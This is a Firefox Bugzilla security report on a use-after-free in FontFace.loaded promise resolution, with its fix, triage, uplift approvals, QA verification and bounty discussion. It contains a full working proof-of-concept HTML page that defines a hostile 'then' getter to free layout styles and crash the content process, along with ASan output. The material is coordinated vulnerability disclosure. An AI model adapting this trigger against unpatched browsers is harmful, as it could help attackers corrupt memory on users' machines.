Use-after-free in FontFace.loaded promise resolution via thenable check
Categories
(Core :: Layout: Text and Fonts, defect, P2)
Tracking
()
People
(Reporter: miku71041, Assigned: emilio)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])
Attachments
(3 files, 1 external file)
Summary
FontFace::MaybeResolve() resolves FontFace.loaded with the FontFace object itself. The JS engine's thenable check reads .then on the resolution value, allowing attacker-defined getters to run arbitrary JS mid-layout. Destroying an iframe in this getter frees ComputedStyle objects while layout still references them, causing a heap-use-after-free. No user interaction required.
Affected Version
- Firefox stable 148.0 (Windows), Firefox Nightly 150.0a1 (Linux)
- Cross-platform (Linux, Windows, macOS)
Steps to Reproduce
- Open
poc_fontface_uaf.htmlin Firefox. - Content process crashes on page load.
Root Cause
In FontFace::MaybeResolve() (layout/style/FontFace.cpp:269-282), when gfxFontUtils::CurrentServoStyleSet() returns null (local() font sources load synchronously during layout), the promise resolves immediately instead of being deferred to a PostTraversalTask. This triggers the thenable check mid-layout:
offsetHeight -> FlushPendingNotifications -> FlushUserFontSet
-> SetLoadState(STATUS_LOADED) -> FontFace::MaybeResolve()
-> mLoaded->MaybeResolve(this) // FontFace.cpp:282
-> JS thenable check: get .then // attacker getter runs here
-> iframe.remove() // frees all ComputedStyles
-> layout continues with freed pointers -> UAF
Security Impact
- 100% reproducible crash, zero interaction
- Freed 264-byte
ComputedValuesin default mozjemalloc arena (272-byte bin), reclaimable by attacker
ASan Log (key frames)
==510650==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c666de0d848
READ of size 8 at 0x7c666de0d848 thread T0 (file:// Content)
ACCESS:
#0 StyleFont ServoComputedData.h:73
#7 nsTextFrame::EnsureTextRun nsTextFrame.cpp:3212
#49 PresShell::DoFlushPendingNotifications PresShell.cpp:4497
#56 HTMLElement_Binding::get_offsetHeight HTMLElementBinding.cpp:2987
FREE:
#1 Arc<T>::drop servo_arc/lib.rs:562
#15 nsIFrame::Destroy nsIFrame.cpp:986
#31 nsCSSFrameConstructor::WillDestroyFrameTree nsCSSFrameConstructor.cpp:7291
#38 nsGenericHTMLFrameElement::UnbindFromTree nsGenericHTMLFrameElement.cpp:210
ALLOC:
#8 Servo_ComputedValues_Inherit glue.rs:4790
#10 ServoStyleSet::ResolveStyleForText ServoStyleSet.cpp:407
0x7c666de0d848: 8 bytes inside 264-byte region [0x7c666de0d840,0x7c666de0d948)
Full log attached as asan_log.txt.
Suggested Fix
Defer resolution when no ServoStyleSet is available. Apply the same to MaybeReject() (line 285):
// In FontFace::MaybeResolve(), replace the immediate resolution with:
RefPtr<FontFace> self = this;
nsContentUtils::AddScriptRunner(NS_NewRunnableFunction(
"FontFace::MaybeResolve", [self]() {
if (self->mLoaded) {
self->mLoaded->MaybeResolve(self.get());
}
}));
Attachments
poc_fontface_uaf.html- Minimal PoC (crashes on page load)asan_log.txt- Full ASan output
this is my poc.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FontFace UAF PoC</title>
</head>
<body>
<script>
"use strict";
// FontFace::MaybeResolve() Use-After-Free
//
// FontFace.loaded promise resolution performs a thenable check on the FontFace
// object. A getter on FontFace.prototype.then can run arbitrary JS during this
// check. Destroying the iframe in the getter frees ComputedStyle objects that
// are still referenced by the ongoing layout operation, causing a UAF.
var iframe = document.createElement("iframe");
iframe.style.cssText = "width:800px;height:600px;position:absolute;left:0;top:0";
document.body.appendChild(iframe);
void document.body.offsetHeight;
var idoc = iframe.contentDocument;
var iwin = iframe.contentWindow;
// Container with complex layout to ensure many ComputedStyle allocations
var container = idoc.createElement("div");
container.style.cssText = "position:absolute;visibility:hidden";
idoc.body.appendChild(container);
var style = idoc.createElement("style");
style.textContent = ".row{display:flex;width:100%} .cell{flex:1;padding:4px;border:1px solid #ccc}";
idoc.head.appendChild(style);
// System fonts that trigger synchronous local() font loading
var FONTS = [
"Segoe UI", "Arial", "Times New Roman", "Courier New",
"Tahoma", "Verdana", "Calibri", "Consolas", "Georgia",
"Helvetica", "Helvetica Neue", "Menlo", "Monaco",
"DejaVu Sans", "DejaVu Serif", "DejaVu Sans Mono",
"Liberation Sans", "Liberation Serif", "Liberation Mono",
"Noto Sans", "Noto Serif", "Ubuntu", "Cantarell", "FreeSans"
];
var src = FONTS.map(function(f) { return "local('" + f + "')"; }).join(",");
for (var i = 0; i < 16; i++) {
var face = new iwin.FontFace("F" + i, src);
idoc.fonts.add(face);
void face.loaded;
face.loaded.catch(function(){});
var row = idoc.createElement("div");
row.className = "row";
for (var j = 0; j < 4; j++) {
var cell = idoc.createElement("div");
cell.className = "cell";
cell.style.fontFamily = '"F' + i + '",sans-serif';
cell.textContent = "The quick brown fox jumps over the lazy dog " + i + "." + j;
row.appendChild(cell);
}
container.appendChild(row);
}
var triggered = false;
Object.defineProperty(iwin.FontFace.prototype, "then", {
configurable: true,
get: function() {
if (triggered) return undefined;
triggered = true;
iframe.remove();
return undefined;
}
});
try {
void idoc.body.offsetHeight;
} catch(e) {}
</script>
</body>
</html>
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Comment 3•8 months ago
|
||
| Assignee | ||
Comment 4•8 months ago
|
||
The asan log has a truncated stack. Here's the interesting bit for posterity. We're calling into JS in the middle of MakeTextRun...
| Assignee | ||
Updated•8 months ago
|
| Assignee | ||
Comment 5•7 months ago
|
||
Comment on attachment 9550824 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It's not really trivial but not terribly hard perhaps?
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?: Should apply cleanly.
- How likely is this patch to cause regressions; how much testing does it need?: not likely, very trivial check
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•7 months ago
|
Comment 8•7 months ago
|
||
Comment on attachment 9550824 [details]
(secure)
sec-approval+ to land now and request uplifts. Uplifts to beta need to happen before March 13 to make it into the last beta accepting security bug uplifts
Comment 10•7 months ago
|
||
Comment 11•7 months ago
|
||
| Assignee | ||
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment 13•7 months ago
|
||
Comment 14•7 months ago
|
||
The patch landed in nightly and beta is affected.
:emilio, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox149towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 15•7 months ago
|
||
Comment on attachment 9550824 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency:
- Is this code covered by automated tests?: No
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: Yes
- If yes, steps to reproduce: comment 0
- List of other uplifts needed: none
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): trivial check
- String changes made/needed: none
- Is Android affected?: Yes
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined: sec-high
- Fix Landed on Version: 150
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): not risky, simple check
| Assignee | ||
Updated•7 months ago
|
Comment 18•7 months ago
|
||
Comment on attachment 9550824 [details]
(secure)
Approved for 149.0b9, 140.9esr, and 115.34esr.
Updated•7 months ago
|
Comment 19•7 months ago
|
||
| uplift | ||
Comment 20•7 months ago
|
||
| uplift | ||
Comment 21•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Comment 23•7 months ago
|
||
Reproduced the issue on Firefox stable 148.0 and Firefox 150.a01 (2026-02-28) by following the information provided in Comment 0: tab with poc_fontface_uaf.html crashes.
The issue is fixed on Firefox ESR 115.34.0, Firefox ESR 140.9.0, Firefox 149.0b9 and Firefox 150.0a1 (2026-03-15). Tests were performed on Ubuntu 22.04, Windows 11 and macOS 13.
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 24•7 months ago
|
||
Congratulations on the bug bounty award. Because duplicate bug 2020755 was filed within the collision window the bounty award will be split between the two.
Note that for future bugs our new collision policy eliminates the bounty award when the collision is with our internal testing, and we only split bounties if the colliding reporters are external researchers.
Updated•7 months ago
|
Updated•3 months ago
|
Description
•